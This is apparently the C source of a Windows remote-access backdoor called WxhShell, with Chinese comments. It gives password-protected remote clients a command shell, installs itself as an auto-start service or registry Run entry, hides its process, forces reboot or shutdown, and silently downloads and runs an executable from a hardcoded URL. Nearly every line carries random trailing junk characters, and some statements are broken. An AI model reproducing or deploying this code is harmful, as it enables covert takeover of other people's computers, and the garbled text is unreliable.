  case 'd': { pc+'/~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a+!r5689  
    if(Boot(SHUTDOWN)) LZ'Y3 *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!<-9HA5  
    else { Sm5 T/&z  
    closesocket(wsh); BQo$c~  
    ExitThread(0); b+/z,c6w  
    } AQ)DiH  
    break; 1\u{1 V  
    } A WS[e$Mt2  
  // 获取shell ;rj|>  
  case 's': { W]B75  
    CmdShell(wsh); =PM6:3aKh  
    closesocket(wsh); _GW,9s^A  
    ExitThread(0); 'lWgHmE  
    break; #ULjK*)R  
  } $R&K-;D/8  
  // 退出 v?O6|0#x  
  case 'x': { k`(Cwp{Oc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kry^ 47"  
    CloseIt(wsh); L9} %tEP  
    break; xq@_' 3X  
    } ][?@) )  
  // 离开 fVvB8[(;~  
  case 'q': { bCfw,V{sce  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T8t_+| ( G  
    closesocket(wsh); )&px[Dbx  
    WSACleanup(); 3'jH,17lWV  
    exit(1); dTTC6?yPXf  
    break; =zsA@UM0  
        } EK 8rV  
  } k1_" }B5  
  } N+nv#]{  
VRQD  
  // 提示信息 hVGK%HCz&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @9AK!I8f  
} ]1)#Y   
  } )RCva3Ul  
yM PZ}  
  return; zd0 [f3~  
} 38zG[c|X  
/w/um>>K.  
// shell模块句柄 GNX`~%3KYc  
int CmdShell(SOCKET sock) -qs R,H  
{ L"[>tY  
STARTUPINFO si; 3uy^o  
ZeroMemory(&si,sizeof(si)); GOU>j "5}2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5sZqX.XVF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vxZ :l  
PROCESS_INFORMATION ProcessInfo; {8e4TD9E0  
char cmdline[]="cmd"; )YY8`\F>1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \R|qXB $  
  return 0; q /eod  
} tO~o-R  
g^)8a;/c  
// 自身启动模式 c`s ]ciC  
int StartFromService(void) (yO8G-Z0  
{ 'z$!9ufY,  
typedef struct Aa!#=V1d  
{ u5I#5  
  DWORD ExitStatus; <(tnClAn  
  DWORD PebBaseAddress; @g%^H)T  
  DWORD AffinityMask; u;Rm/.  
  DWORD BasePriority; m#|h22^H  
  ULONG UniqueProcessId; /VHQ!Wi  
  ULONG InheritedFromUniqueProcessId; 4NDT5sL  
}   PROCESS_BASIC_INFORMATION; }!^`%\ %\  
Xf6\{  
PROCNTQSIP NtQueryInformationProcess; S]g`Ds<  
9Ac4'L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bFB.hkTP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g$T% C?  
HLb`'TC3r+  
  HANDLE             hProcess; zW:r7 P.  
  PROCESS_BASIC_INFORMATION pbi; \H {UJ  
$Ma*qEB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z;lWr(-x  
  if(NULL == hInst ) return 0; _)a!g-Do7  
/#Lm)-%G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sej(jJX1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8T"8C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @$R^-_m  
\rSofn#c  
  if (!NtQueryInformationProcess) return 0; p"|0PlW  
\}:;kO4f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6QX2&[qWS  
  if(!hProcess) return 0; z|v/h UrD  
5-! Zm]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {1L{   
\qw1\-q  
  CloseHandle(hProcess); q vGP$g  
=v6qr~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JLh{>_Rr  
if(hProcess==NULL) return 0; Ocf:73t  
%ou@Y`  
HMODULE hMod; <G /a-Z  
char procName[255]; cIQ e^C  
unsigned long cbNeeded; 3Bbd2[<W  
4;)aGN{e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Psw<9[  
NxrfRhaU3  
  CloseHandle(hProcess); 3Q2z+`x'  
OR<%h/ \f  
if(strstr(procName,"services")) return 1; // 以服务启动 .9$ 7 +  
"W@>lf?"  
  return 0; // 注册表启动 rtT*2k*  
} +?ilTU  
c^8csQ fG  
// 主模块 {O5(O oDa  
int StartWxhshell(LPSTR lpCmdLine) c;doxNd6  
{ UhbGU G  
  SOCKET wsl; @2/ xu  
BOOL val=TRUE; f19'IH$n{  
  int port=0; |*JMCI@Mz  
  struct sockaddr_in door; UO}Yr8Z;  
@% .;}tC  
  if(wscfg.ws_autoins) Install(); _KAg1Ww  
ftccga  
port=atoi(lpCmdLine); <]'1YDA  
u69fYoB'  
if(port<=0) port=wscfg.ws_port; Wq"^{  
,A;wLI  
  WSADATA data; VL8yL`~zc.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *x@.$=NF"  
XpT+xv1`;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R@lA5w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2T3b6  
  door.sin_family = AF_INET; ;bYLQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a=AP*adx8  
  door.sin_port = htons(port); `c'R42S A  
Qt"i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9k3RC}dEr  
closesocket(wsl); \PM5B"MDZ  
return 1; p&W{g $D>  
} f!13Ob<8r  
P*3PDa@  
  if(listen(wsl,2) == INVALID_SOCKET) { * %w8bB  
closesocket(wsl); 2'7)D}p  
return 1; :0vKt 6>Sp  
} _&K>fy3t&  
  Wxhshell(wsl); !H4C5wDu  
  WSACleanup(); !f)^z9QX8  
wG",Obja  
return 0; ;C~:C^Q\H  
MOIMW+n  
} _)-y&  
3?uah' D5  
// 以NT服务方式启动 W7?f_E\>W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I2e@_[ 1  
{ jI45X22j  
DWORD   status = 0; .aD=d\  
  DWORD   specificError = 0xfffffff; *s6(1 S  
F~zrg+VDjL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ag_I'   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (T1d!v"~"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I@l }%L  
  serviceStatus.dwWin32ExitCode     = 0; N5Ih+8zT  
  serviceStatus.dwServiceSpecificExitCode = 0; M1_1(LSU  
  serviceStatus.dwCheckPoint       = 0; P>qDQ1  
  serviceStatus.dwWaitHint       = 0; 6+W`:0je  
c|(&6(r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CNrK]+>  
  if (hServiceStatusHandle==0) return; C#:L.qK  
2_ CJV  
status = GetLastError(); y9X1X{  
  if (status!=NO_ERROR) 7cV GB  
{ i~uoK7o|G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]=jpqxlx  
    serviceStatus.dwCheckPoint       = 0; 0` UrB:  
    serviceStatus.dwWaitHint       = 0; DW0UcLO  
    serviceStatus.dwWin32ExitCode     = status; DRmN+2I  
    serviceStatus.dwServiceSpecificExitCode = specificError; }D*5PV%d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,xuA%CF-S  
    return; %-#rzeaW  
  } f]DO2 r  
$uCY\ xqZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZGC*BP/  
  serviceStatus.dwCheckPoint       = 0; >NAg*1  
  serviceStatus.dwWaitHint       = 0; /4Jm]"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N2\{h(*u  
} }o2e&.$4d  
&ngG_y8}&  
// 处理NT服务事件,比如:启动、停止 NG\^>.8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ">!<OB  
{ Cbjx{  
switch(fdwControl) < SvjvV  
{ ~.&2N Ur  
case SERVICE_CONTROL_STOP: &v.Nj9{zi  
  serviceStatus.dwWin32ExitCode = 0; Bb@m-+f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uYAMW{AT  
  serviceStatus.dwCheckPoint   = 0; fSw6nEXn  
  serviceStatus.dwWaitHint     = 0; BiCC72oig  
  { kqt.?iJw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZQF*fj  
  } ]hjA,p@Q  
  return; X'.*I])  
case SERVICE_CONTROL_PAUSE: *k<{nj@y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P= nu&$;  
  break; ]2@g 5H}M  
case SERVICE_CONTROL_CONTINUE: G_)(?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hp!. P1b  
  break; ]97`=,OUg  
case SERVICE_CONTROL_INTERROGATE: 'X/(M<c  
  break; #/2W RN1L  
}; XS`=8FQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $p~X"f?0  
} {p)=#Jd`.P  
2y@y<38  
// 标准应用程序主函数 !1fAW! 8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }8)iFP&"  
{ +nm?+ F  
\p{$9e;8yT  
// 获取操作系统版本 khS >  
OsIsNt=GetOsVer(); boWaH}?0'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~pve;(e=  
5_E,x  
  // 从命令行安装 dBM> ;S;v  
  if(strpbrk(lpCmdLine,"iI")) Install(); `cn}}1Lg]  
i[rXs/]  
  // 下载执行文件 )R5=GHmL  
if(wscfg.ws_downexe) { {>8u/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L__J(6,V2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q|i`s=|  
} O&ZVu>`g  
Yo a|.2f  
if(!OsIsNt) { ZGbY  
// 如果时win9x,隐藏进程并且设置为注册表启动 jp viX#\S_  
HideProc(); x&YcF78  
StartWxhshell(lpCmdLine); xa$p,_W:'  
} Mxk0XFA  
else + -OnO7f  
  if(StartFromService()) Nx^r&pr  
  // 以服务方式启动 E;)7#3gY1  
  StartServiceCtrlDispatcher(DispatchTable); 5.X`[/]<r  
else z2Kvp"-}  
  // 普通方式启动 0VwmV_6'<W  
  StartWxhshell(lpCmdLine); ;1Zz-@  
7@l.ZECJ1  
return 0; !a<}Mpeg  
} 0w<G)p~%n  
9#D?wR#J=  
?^3Q5ye  
a+#Aitd  
=========================================== HqKI|^  
{Tl|>\[P  
;+Uc} =  
*h Z{>  
#(f- cK  
@-H D9h  
" _ tO:,%dL  
(Aw!K`0Y1  
#include <stdio.h> Q~S3d  
#include <string.h> {Bm7'%i  
#include <windows.h> &&er7_Q  
#include <winsock2.h> j%@wQVxq  
#include <winsvc.h> tG}cmK~%  
#include <urlmon.h> aH+n]J] =)  
0Er;l|  
#pragma comment (lib, "Ws2_32.lib") CHo(:A.U>  
#pragma comment (lib, "urlmon.lib") !3T,{:gyrI  
,~^BoH}  
#define MAX_USER   100 // 最大客户端连接数 {c\KiWN  
#define BUF_SOCK   200 // sock buffer 6}S1um4 F  
#define KEY_BUFF   255 // 输入 buffer +!9&zYu!  
jo ^+  
#define REBOOT     0   // 重启 \V/;i.ng  
#define SHUTDOWN   1   // 关机 />[X k  
7PG|e#  
#define DEF_PORT   5000 // 监听端口 G$_=rHt_%  
6p1)wf.J  
#define REG_LEN     16   // 注册表键长度 I@9[  
#define SVC_LEN     80   // NT服务名长度 "5@k\?x"  
._5"FUg  
// 从dll定义API ^,WXvOy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _|qs-USA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WEVV2BJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |(6H)S]$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ! :XMP*g  
6<N Q/*(/  
// wxhshell配置信息 nW7Ew<`Q  
struct WSCFG { /+{]?y,  
  int ws_port;         // 监听端口 ]v6s](CE  
  char ws_passstr[REG_LEN]; // 口令 [H&Z / .{F  
  int ws_autoins;       // 安装标记, 1=yes 0=no ];VJ54  
  char ws_regname[REG_LEN]; // 注册表键名 "O j2B|:s&  
  char ws_svcname[REG_LEN]; // 服务名 Q\k|pg?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q/l@J3p[qm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R}VEq gq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Al1BnFB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *&A/0]w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NwB;9ZhZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ua8Ya  
@}B,l.Tj  
}; "FfIq;  
=p29 }^@@t  
// default Wxhshell configuration }8,[B50  
struct WSCFG wscfg={DEF_PORT, |E =8  
    "xuhuanlingzhe", TU(w>v  
    1, g9K7_T #W  
    "Wxhshell",  01;  
    "Wxhshell", iD-,C`  
            "WxhShell Service", +kN/-UsB  
    "Wrsky Windows CmdShell Service", s_`=ugue  
    "Please Input Your Password: ", }:f \!b  
  1, 0z1UF{{  
  "http://www.wrsky.com/wxhshell.exe", Q@"mL  
  "Wxhshell.exe" :SD^?.W\iT  
    }; 7B| #*IZe  
Fy'/8Yv#L  
// 消息定义模块 ?O!'ZZX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U#{^29ik=o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jx(`.*$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9;B6<`e/U  
char *msg_ws_ext="\n\rExit."; eTrIN,4  
char *msg_ws_end="\n\rQuit."; G<f"_NT  
char *msg_ws_boot="\n\rReboot..."; %@9pn1,  
char *msg_ws_poff="\n\rShutdown..."; 3$Y(swc  
char *msg_ws_down="\n\rSave to "; qJ8@A}}8  
13v#  
char *msg_ws_err="\n\rErr!"; C% )Xz  
char *msg_ws_ok="\n\rOK!"; 6}aH>(3!A  
d5z?QI  
char ExeFile[MAX_PATH]; S+7:fu2?+  
int nUser = 0; eO?.8OM-a  
HANDLE handles[MAX_USER]; 5C&]YT3 )  
int OsIsNt; A0>u9Bn"Qw  
aO'lk  
SERVICE_STATUS       serviceStatus; `3KXWN`.s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _T)G?iv:&  
2A^>>Q/,u  
// 函数声明 \vR&-+8dk  
int Install(void); '.8E_Jd0E  
int Uninstall(void); !f^'-  
int DownloadFile(char *sURL, SOCKET wsh); AO "pm  
int Boot(int flag); eGi[LJ)np  
void HideProc(void); gBZ1Weu-'  
int GetOsVer(void); |&hu3-(  
int Wxhshell(SOCKET wsl); *'q6#\#.  
void TalkWithClient(void *cs); },@1i<Bb  
int CmdShell(SOCKET sock); 5C^oqUZ  
int StartFromService(void); d l<7jM?  
int StartWxhshell(LPSTR lpCmdLine); 6I yD7PQ  
sMhUVc4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 00d<V:Aoy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DL:wiQ  
B-`,h pp  
// 数据结构和表定义 q\fZ Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Vs0T*4C=n  
{ P$=BmBq18`  
{wscfg.ws_svcname, NTServiceMain}, ?%Pd:~4D  
{NULL, NULL} lNw8eT~2  
}; Hi{1C"%  
(E.,kcAJ  
// 自我安装 OE4hG xG  
int Install(void) SK @%r  
{ 7@@,4_q E  
  char svExeFile[MAX_PATH]; C ~&~Ano,  
  HKEY key; wgeR%#DW  
  strcpy(svExeFile,ExeFile); qek[p_7  
OE=]/([  
// 如果是win9x系统,修改注册表设为自启动 D$wl.r  
if(!OsIsNt) { $&!i3#FF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :XP/`%:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ $PB~-Z  
  RegCloseKey(key); @D3Y}nR:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `- \J/I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 37S  bF,G  
  RegCloseKey(key); +v7mw<6s  
  return 0; fA k]]PU  
    } #_b U/rk)*  
  } q4~w D  
} ? V0!N;  
else { y]veqa  
3wQUNv0z  
// 如果是NT以上系统,安装为系统服务 os3jpFeG'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A=z+@b6  
if (schSCManager!=0) 2qF ?%  
{ P&s-U6  
  SC_HANDLE schService = CreateService yi*2^??` 1  
  ( nX|f?5 O  
  schSCManager, U^n71m>]%T  
  wscfg.ws_svcname, "GTlJqhk  
  wscfg.ws_svcdisp, _8f? H#&  
  SERVICE_ALL_ACCESS, VT;Vm3\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *x;&fyR  
  SERVICE_AUTO_START, +@ FM~q  
  SERVICE_ERROR_NORMAL, ]hPu  
  svExeFile, Ig sK7wn  
  NULL, ^bZ'z  
  NULL, %)|pUa&  
  NULL, ey~5DY7  
  NULL, Lcx)wof  
  NULL j<HBzqP%6  
  ); Bv)^GU&   
  if (schService!=0) )5479Eb_  
  { `k 5'nnyP  
  CloseServiceHandle(schService); d3nMeAI AO  
  CloseServiceHandle(schSCManager); 8)wxc1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FKX+ z  
  strcat(svExeFile,wscfg.ws_svcname); yFYFFv\?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /5l"rni   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GbLuX U  
  RegCloseKey(key); |A'y|/)#Z  
  return 0; ~ry B*eZH  
    } j`'9;7h M6  
  } &RzkM4"  
  CloseServiceHandle(schSCManager); WB7pdSZ  
} xn fMx$fD  
} u?J!3ZEtb  
#%;QcDXRe  
return 1; us ,!U  
} mO6rj=L^  
CTG:C5OK  
// 自我卸载 ~`uEZ  
int Uninstall(void) C3XB'CL6  
{ [%);N\o2Y  
  HKEY key; P0B`H7D  
v/fo`]zP  
if(!OsIsNt) { $y0[AB|V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k"kGQk4  
  RegDeleteValue(key,wscfg.ws_regname); %|tDb  
  RegCloseKey(key); !>,\KxnM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /f5*KRM  
  RegDeleteValue(key,wscfg.ws_regname); @Nm;lZK  
  RegCloseKey(key); kXfTNMb  
  return 0; Q1A_hW2x  
  } Z4^O`yS9+  
} E=H>|FgS  
} uX!5G:x]  
else { 5Hli@:B2s  
J@Qt(rRxi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SWX[|sjdB  
if (schSCManager!=0) l8XgzaW  
{ va>u1S<lO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6/%dD DU  
  if (schService!=0) [eWZ^Eh"I  
  { VIXY?Ua  
  if(DeleteService(schService)!=0) { a'[Ah2}3r<  
  CloseServiceHandle(schService); vDeb?n  
  CloseServiceHandle(schSCManager); T uk:: .jD  
  return 0; qy9RYIfZ  
  } rwJCVkF  
  CloseServiceHandle(schService); lR[]A  
  } YR 5C`o  
  CloseServiceHandle(schSCManager); P1r)n{;  
} vky@L!&,  
} D <16m<b  
,esryFRG  
return 1; K4G43P5q`  
} g+X .8>=  
2ncD,@ij  
// 从指定url下载文件 d7f{2  
int DownloadFile(char *sURL, SOCKET wsh) #cnh ~O  
{ ($h`Y;4  
  HRESULT hr; 2@A%;f0Q  
char seps[]= "/"; t-gLh(-.  
char *token; u6B,V  
char *file; o4^|n1vN  
char myURL[MAX_PATH]; kK,Ne%}a2K  
char myFILE[MAX_PATH]; V!{}%;f  
ccdP}|9e  
strcpy(myURL,sURL); :Zs i5>MT  
  token=strtok(myURL,seps); tFi'RRZ  
  while(token!=NULL) v_ U$jjO1  
  { >-%}'iz+  
    file=token; @L9C_a  
  token=strtok(NULL,seps); 6SJryf~w  
  } @(m+B\  
@X|Mguq5  
GetCurrentDirectory(MAX_PATH,myFILE); u!B6';XY  
strcat(myFILE, "\\"); V,*<E&+  
strcat(myFILE, file); RZ6[+Ygn  
  send(wsh,myFILE,strlen(myFILE),0); b-`=^ny)K  
send(wsh,"...",3,0); sa7F-XM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2`[iTBZ=^  
  if(hr==S_OK) 1iiQW  
return 0; \[>Ob  
else Un~8N  
return 1; $ #*";b)QY  
C8xxR~mq  
} j& H4L  
v!>(1ROQ.=  
// 系统电源模块 e}PJN6"5  
int Boot(int flag) SqF `xw  
{ H;~Lv;,g,  
  HANDLE hToken; |#Gug('  
  TOKEN_PRIVILEGES tkp; F=B[%4q`%  
pGsk[.  
  if(OsIsNt) { k6}M7 &nY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *K57($F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  v<_wf  
    tkp.PrivilegeCount = 1; &P0jRT3e#Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v>[U*E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jQ"z\}Wf  
if(flag==REBOOT) { _ddOsg|U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a(eKb2CX  
  return 0; \Fs+H,S<  
} ld7B!_b<  
else { ;UAi>//#   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qvx[F:#Tk  
  return 0; UGb<&)  
} )Z"  
  } zUIh^hbFf  
  else { [Zpx :r}  
if(flag==REBOOT) { ~0 PR>QJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4ZX6=-u^  
  return 0; _=\J:r|Y:  
}  EL$"/ptE  
else { \Zgc [F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %$*WdK#  
  return 0; }3TTtd7  
} $!ATj`}kb  
} V?zCON  
T[L7-5U0  
return 1; -_KO}_  
} 9'5`0$,|^  
'|7'dlW  
// win9x进程隐藏模块 FB>^1B]]  
void HideProc(void) *M]@}'N  
{ jR_o!n~5  
#$^vP/"$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qf .ASC   
  if ( hKernel != NULL ) og~Uv"&?T  
  { Po1/_# mu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0XWhSrHM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mH,L,3R;R  
    FreeLibrary(hKernel); JS^QfT,zE  
  } ceUhCb  
qk *b,`;  
return; l2*o@&.  
} ' O+)[D  
DTMoZm  
// 获取操作系统版本 F*['1eAmdY  
int GetOsVer(void) 11g_!X -g@  
{ ~ubcD6f  
  OSVERSIONINFO winfo; DmA~Vj!a^y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N+9W2n  
  GetVersionEx(&winfo); ?s-Z3{k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I)AbH<G{  
  return 1; S%p.|!  
  else Ds<~JfVl  
  return 0; +I>V9%%vW_  
} $[xS>iuD  
r1A<XP|1?I  
// 客户端句柄模块 49Q tfk  
int Wxhshell(SOCKET wsl) q(9S4F   
{ +td]g9Ie  
  SOCKET wsh; 9{cpxJ  
  struct sockaddr_in client; xW. ~Jt  
  DWORD myID; y7ZYo7avg  
N87)rhXSo,  
  while(nUser<MAX_USER) ;ipT0*Y  
{ #WlTE&  
  int nSize=sizeof(client); nSr_sD6"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gtwUY$  
  if(wsh==INVALID_SOCKET) return 1; {y%cTuC=  
'5r\o8RjN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^B!cL~S*I  
if(handles[nUser]==0) )#Le"&D  
  closesocket(wsh); _g2"D[I%  
else [q!/YL3 %  
  nUser++; Gpf9uj%  
  } {~"fq.h!M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n|N?[)^k  
o FS2*u  
  return 0; M/J?$j  
} L:_GpZ_  
)jPIBzMys  
// 关闭 socket : =f!>_r+  
void CloseIt(SOCKET wsh) i1 >oRT{Z  
{ rT"3^,,  
closesocket(wsh); kQw%Wpuq[/  
nUser--; V~ q b2$  
ExitThread(0); NyR,@n1  
} H{et2J<H  
B(1WI_}~  
// 客户端请求句柄 cfC}"As  
void TalkWithClient(void *cs) + usB$=kJ  
{ gA:unsI  
)&s9QBo{b  
  SOCKET wsh=(SOCKET)cs; I&wJK'GM`  
  char pwd[SVC_LEN]; 1'YUK"i  
  char cmd[KEY_BUFF]; =1+/`w  
char chr[1]; X-y3CO:&@h  
int i,j; c\le8C3  
2Bz\Tsp  
  while (nUser < MAX_USER) { @:Emmzucv|  
t\XA JU  
if(wscfg.ws_passstr) { re)7h$f}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E"zC6iYZ;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k!"6mo@rd  
  //ZeroMemory(pwd,KEY_BUFF); [:gp_Z&  
      i=0; ,v#O{ma  
  while(i<SVC_LEN) { }B ?_>0  
4Ifz-t/  
  // 设置超时 `rest_vu  
  fd_set FdRead; u\q(v D.  
  struct timeval TimeOut; Vj[hT~{f  
  FD_ZERO(&FdRead); 'm TQ=1  
  FD_SET(wsh,&FdRead); _-|+k  
  TimeOut.tv_sec=8; ~5>k_\ G8  
  TimeOut.tv_usec=0; D4O^5?F)|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gx.\&W b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yq>K1E|  
lFN|)(X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (_3QZ  
  pwd=chr[0]; UB,0c)   
  if(chr[0]==0xd || chr[0]==0xa) { gE9x+g  
  pwd=0; m(w9s;<  
  break; +Kp8X53  
  } [4r<WvUaM  
  i++; sV;q(,oru  
    } GmH`ipi  
5c0$oyl)M  
  // 如果是非法用户,关闭 socket 3vHkhhYQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M=54xTh0Y  
} nyL$z-I)  
/V }Z,'+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FA{'Ki`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); meYGIP:n  
v, !`A!{D  
while(1) { +GEdVB  
X#o<))  
  ZeroMemory(cmd,KEY_BUFF); ? =I']$MH  
=9;b|Y"aQ  
      // 自动支持客户端 telnet标准   >VppM  `  
  j=0; Fh4Exl@6  
  while(j<KEY_BUFF) { Z^c\M\`7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c-**~tb(  
  cmd[j]=chr[0]; >c$3@$  
  if(chr[0]==0xa || chr[0]==0xd) { ~U4Cf >  
  cmd[j]=0; b$sT`+4q  
  break; |j4p  
  } i3cMRcS;  
  j++; Ln8r~[tVE<  
    } ]sI\.a  
u{cb[M  
  // 下载文件 xYY^tZIV  
  if(strstr(cmd,"http://")) { 2^qJ'<2]M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gnadx52FP  
  if(DownloadFile(cmd,wsh)) X!6$<8+1OV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); deEc;IAo  
  else JfRLqA/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?DE{4Ti/[  
